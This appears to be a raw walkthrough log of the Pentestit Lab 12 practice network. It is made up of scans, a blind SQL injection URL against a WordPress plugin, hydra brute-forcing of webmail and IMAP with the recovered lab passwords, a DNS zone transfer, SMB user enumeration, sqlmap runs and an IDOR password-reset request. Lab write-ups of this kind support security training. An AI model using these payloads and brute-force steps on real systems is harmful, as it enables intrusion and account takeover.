Pentestit Lab 12 — WriteUp

notepad C:\Windows\system32\drivers\etc\hosts
192.168.101.12 site.test.lab

Nmap scan report for site.test.lab (192.168.101.12)
Host is up (0.25s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
80/tcp open http nginx 1.14.2
143/tcp open imap Dovecot imapd
8080/tcp open http nginx
Service Info: Host: mail.test.lab

Nmap scan report for 192.168.101.13
Host is up.
All 1000 scanned ports on 192.168.101.13 are filtered

root@as0st:~ nikto -host 192.168.101.12:80
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP: 192.168.101.12
+ Target Hostname: site.test.lab
+ Target Port: 80
+ Start Time: 2018-12-15 18:18:01 (GMT6)
---------------------------------------------------------------------------
+ Server: nginx/1.14.2
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 6545 items checked: 1 error(s) and 1 item(s) reported on remote host
+ End Time: 2018-12-15 18:34:33 (GMT6) (992 seconds)
---------------------------------------------------------------------------

root@as0st:~ dirb http://192.168.101.12/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Dec 15 17:34:28 2018
URL_BASE: http://192.168.101.12/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.101.12/ ----
+ http://192.168.101.12/.bash_history (CODE:403|SIZE:571)
+ http://192.168.101.12/.history (CODE:403|SIZE:571)
+ http://192.168.101.12/.mysql_history (CODE:403|SIZE:571)
+ http://192.168.101.12/.passwd (CODE:403|SIZE:571)
+ http://192.168.101.12/.sh_history (CODE:403|SIZE:571)
+ http://192.168.101.12/.ssh (CODE:403|SIZE:571)
+ http://192.168.101.12/.subversion (CODE:403|SIZE:571)
+ http://192.168.101.12/.svn (CODE:403|SIZE:571)

root@Ac0st:/mnt/d/CTF/Pentestit wget -o- 192.168.101.12:8080
--2018-12-17 23:29:50-- http://192.168.101.12:8080/
Connecting to 192.168.101.12:8080... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://192.168.101.12:8080/mail/ [following]
--2018-12-17 23:29:51-- http://192.168.101.12:8080/mail/
Reusing existing connection to 192.168.101.12:8080.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'index.html'
0K ..... 2.16M=0.002s
2018-12-17 23:30:01 (2.16 MB/s) - 'index.html' saved [5533]

root@as0st:~ wpscan --url http://site.test.lab --enumerate u --random-user-agent
NOTE: Gem.gunzip is deprecated; use Gem::Util.gunzip instead. It will be removed on or after 2018-12-01.
________________________________________
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 2.8
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o [A]bort, default: [N]n
[+] URL: http://site.test.lab/
[+] Started: Fri Dec 14 21:46:06 2018

[!] The WordPress 'http://site.test.lab/readme.html' file exists exposing a version number
[+] Interesting header: SERVER: nginx/1.14.2

[+] WordPress version 4.9.8 identified from meta generator

[+] WordPress theme in use: twentyseventeen

[+] Name: twentyseventeen
| Location: http://site.test.lab/wp-content/themes/twentyseventeen/
| Style URL: http://site.test.lab/wp-content/themes/twentyseventeen/style.css
| Description:

[+] Enumerating plugins from passive detection ...
| 1 plugin found:

[+] Name: wp-survey-and-poll
| Location: http://site.test.lab/wp-content/plugins/wp-survey-and-poll/

[!] We could not determine a version so all vulnerabilities are printed out

[!] Title: WordPress Survey & Poll <= 1.1.7 - Blind SQL Injection
Reference: https://wpvulndb.com/vulnerabilities/7794
Reference: http://packetstormsecurity.com/files/130381/
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2090
Reference: https://www.exploit-db.com/exploits/36054/
[i] Fixed in: 1.1.91

[+] Enumerating usernames ...
[!] Stop User Enumeration plugin detected, results might be empty. However a bypass exists for v1.2.8 and below, see stop_user_enumeration_bypass.rb in /usr/share/wpscan
[+] We did not enumerate any usernames

[+] Finished: Fri Dec 14 21:46:25 2018
[+] Requests Done: 119
[+] Memory used: 5.695 MB
[+] Elapsed time: 00:00:18

http://site.test.lab/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498

http://site.test.lab/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id= 3556498 AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>[Numbers compare]

http://site.test.lab/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498"%20-p%20survey_id%20--dbms=mysql

Output
When processing the following request :
GET / HTTP/1.0
this web server leaks the following private IP address :
172.16.0.11
as found in the following collection of HTTP headers :
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Fri, 14 Dec 2018 16:24:47 GMT
Content-Type: text/html
Content-Length: 178
Location: http://172.16.0.11:8080/mail/
Connection: close

root@as0st:~ nmap 172.16.0.11 -sV -Pn
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-14 22:34 +06
Nmap scan report for 172.16.0.11
Host is up (0.0047s latency).
All 1000 scanned ports on 172.16.0.11 are filtered

hydra -l /home/clevergod/Documents/users.txt -p /home/clevergod/Documents/rockyou.txt 192.168.101.12:8080 http-head mail/

hydra -l 111111 -p 222222 http-post-form://192.168.101.12:8080 -m "/?_task=login=^USER^&login_password=^PASS^&cookieuser=1" -d

hydra -l info@test.lab -P rockyou.txt -o ./hydra_result.log -f -V -s 8080 192.168.101.12 http-get /mail/
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-get://192.168.101.12:8080//mail/
[ATTEMPT] target 192.168.101.12 - login "admin@test.lab" - pass "123456" - 1 of 14344398 [child 0] (0/0)
[ATTEMPT] target 192.168.101.12 - login "admin@test.lab" - pass "12345" - 2 of 14344398 [child 1] (0/0)
[ATTEMPT] target 192.168.101.12 - login "admin@test.lab" - pass "123456789" - 3 of 14344398 [child 2] (0/0)
...
[ATTEMPT] target 192.168.101.12 - login "admin@test.lab" - pass "monkey" - 14 of 14344398 [child 13] (0/0)
[ATTEMPT] target 192.168.101.12 - login "admin@test.lab" - pass "lovely" - 15 of 14344398 [child 14] (0/0)
[ATTEMPT] target 192.168.101.12 - login "admin@test.lab" - pass "jessica" - 16 of 14344398 [child 15] (0/0)
[8080][http-get] host: 192.168.101.12 login: admin@test.lab password: 123456
[8080][http-get] host: 192.168.101.12 login: info@test.lab password: 1234567
[STATUS] attack finished for 192.168.101.12 (valid pair found)
1 of 1 target successfully completed, 1 valid password found

hydra 192.168.101.12:8080 http-post-form "/mail:_token=jAf0pA3BamXdvJAVf6KuwJ4AOChtr3rt&_task=login&_action=login&_timezone=Asia%2FAlmaty&_url=&_user=^USER^&_pass=^PASS^" -l info@test.lab -P rockyou.txt

hydra -l info@test.lab -P rockyou.txt -o ./hydra_result.log -f -V -s 8080 192.168.101.12 http-post-form -m "/mail/?_task=login:_token=jAf0pA3BamXdvJAVf6KuwJ4AOChtr3rt&_task=login&_action=login&_timezone=Asia%2FAlmaty&_url=&_user=^USER^&_pass=^PASS^"

hydra -l info@test.lab -P rockyou.txt smtp://192.168.101.12 -s 25
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking smtp://192.168.101.12:25/
[ERROR] SMTP LOGIN AUTH, either this auth is disabled or server is not using auth: 503 5.5.1 Error: authentication not enabled

hydra -l info@test.lab -P rockyou.txt imap://192.168.101.12:8080/PLAIN
Hydra (http://www.thc.org/thc-hydra) starting at 2018-12-17 19:54:05
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking imap://192.168.101.12:143/PLAIN
[143][imap] host: 192.168.101.12 login: info@test.lab password: а щас, давайте сами!
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-12-17 19:54:31

cd %ProgramFiles%\TAP-Windows\bin

C:\Windows\system32>"C:\Program Files\TAP-Windows\bin\tapinstall.exe" install "C:\Program Files\TAP-Windows\driver\OemVista.inf" tap0901
Device node created. Install is complete when drivers are installed...
Updating drivers for tap0901 from C:\Program Files\TAP-Windows\driver\OemVista.inf.
Drivers installed successfully.

root@Ac0st:~ hydra -l sviridov@test.lab -P rockyou.txt imap://192.168.101.12:8080/PLAIN

root@Ac0st:/ ip route | grep eth
none 224.0.0.0/4 dev eth0 proto unspec metric 256
none 255.255.255.255 dev eth0 proto unspec metric 256
none 255.255.255.255 dev eth1 proto unspec metric 0
none 224.0.0.0/4 dev eth1 proto unspec metric 0
none 10.10.1.51 dev eth1 proto unspec metric 0
none 10.10.1.48/30 dev eth1 proto unspec metric 0
none 10.10.1.50 dev eth1 proto unspec metric 0
none 192.168.101.0/24 via 10.10.1.49 dev eth1 proto unspec metric 0
none 10.10.0.1 via 10.10.1.49 dev eth1 proto unspec metric 0
none 255.255.255.255 dev eth2 proto unspec metric 0
none 224.0.0.0/4 dev eth2 proto unspec metric 0
none 10.11.0.59 dev eth2 proto unspec metric 0
none 10.11.0.56/30 dev eth2 proto unspec metric 0
none 10.11.0.58 dev eth2 proto unspec metric 0
none 172.16.0.0/16 via 10.11.0.57 dev eth2 proto unspec metric 0
none 10.11.0.1 via 10.11.0.57 dev eth2 proto unspec metric 0

nmap -sV 172.16.0.0/24

Nmap scan report for 172.16.0.10
Host is up (0.23s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.2
|_http-title: 403 Forbidden

Nmap scan report for ad (172.16.0.17)
Host is up (0.29s latency).
Not shown: 984 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.10.3-P4 (Debian Linux)
80/tcp open http nginx 1.14.2
88/tcp open kerberos-sec Heimdal Kerberos (server time: 2018-12-17 19:40:15Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: TEST)
143/tcp open imap Dovecot imapd
389/tcp open ldap (Anonymous bind OK)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: TEST)
464/tcp open kpasswd5?
636/tcp open ssl/ldap (Anonymous bind OK)
1024/tcp open msrpc Microsoft Windows RPC
3268/tcp open ldap (Anonymous bind OK)
3269/tcp open ssl/ldap (Anonymous bind OK)
8080/tcp open http nginx
Service Info: Host: mail.test.lab; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Nmap scan report for 172.16.0.17
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
| ssh-hostkey:
| 2048 52:41:88:d7:94:bb:9d:1d:db:fa:ed:ed:eb:ad:d2:15 (RSA)
| 256 3e:ca:73:6f:6e:3c:d0:2c:69:57:78:26:a4:d6:2a:08 (ECDSA)
|_ 256 72:92:c7:db:12:3c:16:ca:60:f8:48:ac:05:76:83:7d (ED25519)

25/tcp open smtp Postfix smtpd
|_smtp-commands: mail.test.lab, PIPELINING, SIZE 15728640, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8,
| ssl-cert: Subject: commonName=mail.test.lab/organizationName=mail.test.lab/stateOrProvinceName=GuangDong/countryName=CN
| Issuer: commonName=mail.test.lab/organizationName=mail.test.lab/stateOrProvinceName=GuangDong/countryName=CN
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-12-08T15:26:26
| Not valid after: 2028-12-05T15:26:26
| MD5: 103f 8826 b9d1 3dcd 6734 c583 717f 35fd
|_SHA-1: 8d8d 0d35 4faf 1b09 5a90 b485 f1e3 b566 7c28 6a0a
|_ssl-date: TLS randomness does not represent time

53/tcp open domain ISC BIND 9.10.3-P4 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Debian

80/tcp open http nginx 1.14.2
|_http-title: 403 Forbidden

88/tcp open kerberos-sec Heimdal Kerberos (server time: 2018-12-17 19:25:01Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: TEST)

143/tcp open imap Dovecot imapd
|_imap-capabilities: more AUTH=PLAIN ENABLE capabilities OK LOGIN-REFERRALS listed have IDLE LITERAL+ AUTH=LOGINA0001 Pre-login IMAP4rev1 ID post-login SASL-IR

389/tcp open ldap (Anonymous bind OK)
| ssl-cert: Subject: commonName=AD.test.lab/organizationName=Samba Administration
| Issuer: commonName=AD.test.lab/organizationName=Samba Administration
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2018-12-10T10:42:08
| Not valid after: 2020-11-09T10:42:08
| MD5: c532 51b3 91af d57e 47d4 a575 c36f 1646
|_SHA-1: afc6 fc65 5741 1c61 3f02 2f7f 2bda e77c 81e6 8002
|_ssl-date: 2018-12-17T19:28:21+00:00; +1m49s from scanner time.

445/tcp open netbios-ssn Samba smbd 4.5.12-Debian (workgroup: TEST)
464/tcp open kpasswd5?

636/tcp open ssl/ldap (Anonymous bind OK)
| ssl-cert: Subject: commonName=AD.test.lab/organizationName=Samba Administration
| Issuer: commonName=AD.test.lab/organizationName=Samba Administration
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2018-12-10T10:42:08
| Not valid after: 2020-11-09T10:42:08
| MD5: c532 51b3 91af d57e 47d4 a575 c36f 1646
|_SHA-1: afc6 fc65 5741 1c61 3f02 2f7f 2bda e77c 81e6 8002
|_ssl-date: 2018-12-17T19:24:57+00:00; -1m30s from scanner time.

1024/tcp open msrpc Microsoft Windows RPC

3268/tcp open ldap (Anonymous bind OK)
| ssl-cert: Subject: commonName=AD.test.lab/organizationName=Samba Administration
| Issuer: commonName=AD.test.lab/organizationName=Samba Administration
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2018-12-10T10:42:08
| Not valid after: 2020-11-09T10:42:08
| MD5: c532 51b3 91af d57e 47d4 a575 c36f 1646
|_SHA-1: afc6 fc65 5741 1c61 3f02 2f7f 2bda e77c 81e6 8002
|_ssl-date: 2018-12-17T19:28:17+00:00; +1m49s from scanner time.

3269/tcp open ssl/ldap (Anonymous bind OK)
| ssl-cert: Subject: commonName=AD.test.lab/organizationName=Samba Administration
| Issuer: commonName=AD.test.lab/organizationName=Samba Administration
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2018-12-10T10:42:08
| Not valid after: 2020-11-09T10:42:08
| MD5: c532 51b3 91af d57e 47d4 a575 c36f 1646
|_SHA-1: afc6 fc65 5741 1c61 3f02 2f7f 2bda e77c 81e6 8002
|_ssl-date: 2018-12-17T19:25:15+00:00; -1m12s from scanner time.

8080/tcp open http nginx
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx
| http-title: Roundcube Webmail :: Welcome to Roundcube Webmail
|_Requested resource was http://172.16.0.17:8080/mail/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=12/18%OT=22%CT=1%CU=38416%PV=Y%DS=4%DC=T%G=Y%TM=5C17F8
OS:81%P=i686-pc-windows-windows)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=
OS:8)SEQ(SP=103%GCD=1%ISR=109%TI=Z%CI=Z%TS=8)OPS(O1=M54DST11NW6%O2=M54DST11
OS:NW6%O3=M54DNNT11NW6%O4=M54DST11NW6%O5=M54DST11NW6%O6=M54DST11)WIN(W1=712
OS:0%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54
OS:DNNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(
OS:R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F
OS:=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y
OS:%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T
OS:=40%CD=S)

Uptime guess: 3.054 days (since Sat Dec 15 00:09:21 2018)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Hosts: mail.test.lab, AD; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -25m36s, deviation: 1h08m06s, median: -4s
| nbstat: NetBIOS name: AD, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| AD<00> Flags: <unique><active>
| AD<03> Flags: <unique><active>
| AD<20> Flags: <unique><active>
| TEST<1b> Flags: <unique><active>
| TEST<1c> Flags: <group><active>
| TEST<00> Flags: <group><active>
| __SAMBA__<00> Flags: <group><active><permanent>
|_ __SAMBA__<20> Flags: <group><active><permanent>

| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.5.12-Debian)
| Computer name: ad
| NetBIOS computer name: AD\x00
| Domain name: test.lab
| FQDN: ad.test.lab
|_ System time: 2018-12-17T22:26:23+03:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2018-12-18 01:26:24
|_ start_date: N/A

TRACEROUTE (using port 993/tcp)
HOP RTT ADDRESS
1 215.00 ms 10.11.0.1
2 280.00 ms 172.16.2.1
3 280.00 ms site.test.lab (192.168.101.12)
4 280.00 ms 172.16.0.17

root@Ac0st:~ nslookup
> set port=53
> set type=ANY
> SERVER 172.16.0.17
Default server: 172.16.0.17
Address: 172.16.0.17 53
> test.lab
Server: 172.16.0.17
Address: 172.16.0.17 53

Name: test.lab
Address: 172.16.0.17
test.lab
origin = test.lab
mail addr = ad.test.lab
serial = 69
refresh = 5
retry = 30
expire = 21600
minimum = 60
test.lab nameserver = ns1.test.lab.
test.lab nameserver = ns2.test.lab.

root@Ac0st:~ nslookup ns1.test.lab 172.16.0.17
Name: ns1.test.lab
Address: 172.16.0.17

root@Ac0st:~ nslookup ns2.test.lab 172.16.0.17
Name: ns2.test.lab
Address: 172.16.2.10
nslookup -type=txt _site.test.lab 192.168.101.1

dig -t txt test.lab 172.16.0.17
dig TXT @192.168.101.1 -p 1194 test.lab
dig @172.16.0.17 axfr ns1.test.lab

root@Ac0st:/home/clevergod dnsrecon -a -d test.lab -n 172.16.0.17
[*] Performing General Enumeration of Domain: test.lab
[*] Checking for Zone Transfer for test.lab name servers
[*] Resolving SOA Record
[-] Error while resolving SOA record.
[*] Resolving NS Records
[-] Could not Resolve NS Records
[*] Removing any duplicate NS server IP Addresses...
[*] Checking for Zone Transfer for test.lab name servers
[*] Resolving SOA Record
[-] Error while resolving SOA record.
[*] Resolving NS Records
[-] Could not Resolve NS Records
[*] Removing any duplicate NS server IP Addresses...
Traceback (most recent call last):
File "./dnsrecon.py", line 1699, in <module>
main()
File "./dnsrecon.py", line 1659, in main
returned_records.extend(std_enum_records)
TypeError: 'NoneType' object is not iterable

root@Ac0st:/home/clevergod dnsrecon -a -d test.lab -n 172.16.2.10
[*] Performing General Enumeration of Domain: test.lab
[*] Checking for Zone Transfer for test.lab name servers
[*] Resolving SOA Record
[+] SOA test.lab 172.16.0.17
[*] Resolving NS Records
[*] NS Servers found:
[*] NS ns1.test.lab 172.16.0.17
[*] NS ns2.test.lab 172.16.2.10
[*] Removing any duplicate NS server IP Addresses...
[*]
[*] Trying NS server 172.16.0.17
[-] Zone Transfer Failed for 172.16.0.17!
[-] Port 53 TCP is being filtered
[*]
[*] Trying NS server 172.16.2.10
[+] 172.16.2.10 Has port 53 TCP Open
[+] Zone Transfer was successful!!
[*] NS ns1.test.lab 172.16.0.17
[*] NS ns2.test.lab 172.16.2.10
[*] A @.test.lab 172.16.0.17
[*] A db.test.lab 172.16.0.30
[*] A dc.test.lab 172.16.0.17
[*] A helpdesk.test.lab 172.16.0.10
[*] A ns2.test.lab 172.16.2.10
[*] A my.test.lab 172.16.0.10
[*] A ad.test.lab 172.16.0.17
[*] A site.test.lab 172.16.0.10
[*] A gc._msdcs.test.lab 172.16.0.17
[*] A dns.test.lab 172.16.0.17
[*] A dns.test.lab 172.16.2.10
[*] A ns1.test.lab 172.16.0.17
[*] A token-токен.test.lab 127.0.0.1
[*] SRV _ldap._tcp.gc._msdcs.test.lab @ 3268 0 no_ip
[*] SRV _kpasswd._udp.test.lab @ 464 0 no_ip
[*] SRV _kpasswd._tcp.test.lab @ 464 0 no_ip
[*] SRV _ldap._tcp.test.lab @ 389 0 no_ip
[*] SRV _kerberos._tcp.dc._msdcs.test.lab @ 88 0 no_ip
[*] SRV _kerberos._udp.test.lab @ 88 0 no_ip
[*] SRV _ldap._tcp.dc._msdcs.test.lab @ 389 0 no_ip
[*] SRV _ldap._tcp.ForestDnsZones.test.lab @ 389 0 no_ip
[*] SRV _kerberos._tcp.test.lab @ 88 0 no_ip
[*] Checking for Zone Transfer for test.lab name servers
[*] Resolving SOA Record
[+] SOA test.lab 172.16.0.17
[*] Resolving NS Records
[*] NS Servers found:
[*] NS ns1.test.lab 172.16.0.17
[*] NS ns2.test.lab 172.16.2.10
[*] Removing any duplicate NS server IP Addresses...
[*]
[*] Trying NS server 172.16.0.17
[-] Zone Transfer Failed for 172.16.0.17!
[-] Port 53 TCP is being filtered
[*]
[*] Trying NS server 172.16.2.10
[+] 172.16.2.10 Has port 53 TCP Open
[+] Zone Transfer was successful!!
[*] NS ns1.test.lab 172.16.0.17
[*] NS ns2.test.lab 172.16.2.10
[*] A @.test.lab 172.16.0.17
[*] A db.test.lab 172.16.0.30
[*] A dc.test.lab 172.16.0.17
[*] A helpdesk.test.lab 172.16.0.10
[*] A ns2.test.lab 172.16.2.10
[*] A my.test.lab 172.16.0.10
[*] A ad.test.lab 172.16.0.17
[*] A site.test.lab 172.16.0.10
[*] A gc._msdcs.test.lab 172.16.0.17
[*] A dns.test.lab 172.16.0.17
[*] A dns.test.lab 172.16.2.10
[*] A ns1.test.lab 172.16.0.17
[*] A token-токен.test.lab 127.0.0.1
[*] SRV _ldap._tcp.gc._msdcs.test.lab @ 3268 0 no_ip
[*] SRV _kpasswd._udp.test.lab @ 464 0 no_ip
[*] SRV _kpasswd._tcp.test.lab @ 464 0 no_ip
[*] SRV _ldap._tcp.test.lab @ 389 0 no_ip
[*] SRV _kerberos._tcp.dc._msdcs.test.lab @ 88 0 no_ip
[*] SRV _kerberos._udp.test.lab @ 88 0 no_ip
[*] SRV _ldap._tcp.dc._msdcs.test.lab @ 389 0 no_ip
[*] SRV _ldap._tcp.ForestDnsZones.test.lab @ 389 0 no_ip
[*] SRV _kerberos._tcp.test.lab @ 88 0 no_ip
[-] DNSSEC is not configured for test.lab
[*] SOA test.lab 172.16.0.17
[*] NS ns1.test.lab 172.16.0.17
[*] NS ns2.test.lab 172.16.2.10
[-] Recursion enabled on NS Server 172.16.2.10
[*] Bind Version for 172.16.2.10 9.10.3-P4-Debian
[-] Could not Resolve MX Records for test.lab
[*] A test.lab 172.16.0.17
[*] Enumerating SRV Records
[*] SRV _kerberos._tcp.test.lab test.lab 172.16.0.17 88 0
[*] SRV _kerberos._udp.test.lab test.lab 172.16.0.17 88 0
[*] SRV _ldap._tcp.test.lab test.lab 172.16.0.17 389 0
[*] SRV _ldap._tcp.ForestDNSZones.test.lab test.lab 172.16.0.17 389 0
[*] SRV _ldap._tcp.dc._msdcs.test.lab test.lab 172.16.0.17 389 0
[*] SRV _kpasswd._udp.test.lab test.lab 172.16.0.17 464 0
[*] SRV _ldap._tcp.gc._msdcs.test.lab test.lab 172.16.0.17 3268 0
[*] SRV _kerberos._tcp.dc._msdcs.test.lab test.lab 172.16.0.17 88 0
[*] SRV _kpasswd._tcp.test.lab test.lab 172.16.0.17 464 0
[+] 9 Records Found

172.16.0.10 site.test.lab
172.16.0.10 my.test.lab
172.16.0.10 helpdesk.test.lab
172.16.0.17 ad.test.lab
172.16.0.17 dc.test.lab
172.16.0.17 ns1.test.lab
172.16.2.10 ns2.test.lab
172.16.2.10 dns.test.lab
172.16.0.30 db.test.lab

net use \\172.16.0.17\IPC$ "" /u:""
172.16.0.17 [host down]

root@Ac0st:smbclient -L //172.16.0.17
172.16.0.17 [host down]

root@Ac0st:/home/clevergod nbtscan-unixwiz -f 172.16.0.17 > nbtscan
*timeout (normal end of scan)

root@Ac0st:nmap -sU -sS --script=smb-enum-users -p U:137,T:139 172.16.0.17
172.16.0.17 [host down]

root@Ac0st: nmap -v --script=smb-enum-users -p445 172.16.0.17 -Pn

nmap -sS --script smb-enum-users 172.16.0.17
Nmap scan report for 172.16.0.17
Host is up (0.38s latency).

PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Host script results:
| smb-enum-users:
| BUILTIN\Administrator (RID: 500)
| Full name:
| Description: Built-in account for administering the computer/domain
| Flags: Normal user account
| BUILTIN\Guest (RID: 501)
| Full name:
| Description: Built-in account for guest access to the computer/domain
| Flags: Normal user account, Password not required, Account disabled, Password does not expire
| BUILTIN\info (RID: 1104)
| Full name: info
| Description:
| Flags: Normal user account
| BUILTIN\krbtgt (RID: 502)
| Full name:
| Description: Key Distribution Center Service Account
| Flags: Normal user account, Account disabled
| BUILTIN\lomonosov (RID: 1111)
| Full name:
| Description:
| Flags: Normal user account
| BUILTIN\petrov (RID: 1110)
| Full name:
| Description:
| Flags: Normal user account
| BUILTIN\sidorov (RID: 1108)
| Full name:
| Description:
| Flags: Normal user account
| BUILTIN\sviridov (RID: 1106)
| Full name:
| Description:
| Flags: Normal user account
| BUILTIN\token_токен (RID: 1118)
| Full name:
| Description:
| Flags: Normal user account
Nmap done: 1 IP address (1 host up) scanned in 14.27 seconds

Administrator
info
lomonosov
petrov
sidorov
sviridov
Guest - disabled
krbtgt - disabled

sqlmap -u http://helpdesk.test.lab --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3

sqlmap -o -u "http://helpdesk.test.lab/" --forms

sqlmap -u "http://helpdesk.test.lab/index.php?ad=1" --dbms=mysql --tech=U --random-agent --dump

http://helpdesk.test.lab/login.php

http://helpdesk.test.lab/changepass.php

Administrator@test.lab
info@test.lab
lomonosov@test.lab
petrov@test.lab
sidorov@test.lab
sviridov@test.lab

POST /changepass.php HTTP/1.1
Host: helpdesk.test.lab
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://helpdesk.test.lab/changepass.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Connection: close
Cookie: PHPSESSID=9tu10hliictngub91acpm70bk6
Upgrade-Insecure-Requests: 1

password=1&confpassword=2&id=MTQ1Cg%3D%3D&submit=Change

password=1234567890&confpassword=1234567890&id=MTQ1Cg%3D%3D&submit=Change

echo {1..1000} | base64 >id.txt

POST /changepass.php HTTP/1.1
Host: helpdesk.test.lab
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://helpdesk.test.lab/changepass.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Connection: close
Cookie: PHPSESSID=9tu10hliictngub91acpm70bk6
Upgrade-Insecure-Requests: 1

password=12345&confpassword=12345&id=NDQwCg%3D%3D&submit=Change

nmap -sU -T4 -A -v -Pn 192.168.101.0/24

nmap -sU -T4 -A -v -Pn 172.16.0.16/24

nmap -sU -p 1701,1194,1723,1293,500,4500 -T2 -v -Pn 192.168.101.0/24

nmap -sU -vv -p0-2000 192.168.101.12-13
Discovered open port 1194/udp on 192.168.101.13
Discovered open port 1194/udp on 192.168.101.12

root@Ac0st:/home/clevergod ip route | grep eth
none 255.255.255.255 dev eth0 proto unspec metric 0
none 224.0.0.0/4 dev eth0 proto unspec metric 0
none 10.10.1.107 dev eth0 proto unspec metric 0
none 10.10.1.104/30 dev eth0 proto unspec metric 0
none 10.10.1.106 dev eth0 proto unspec metric 0
none 192.168.101.0/24 via 10.10.1.105 dev eth0 proto unspec metric 0
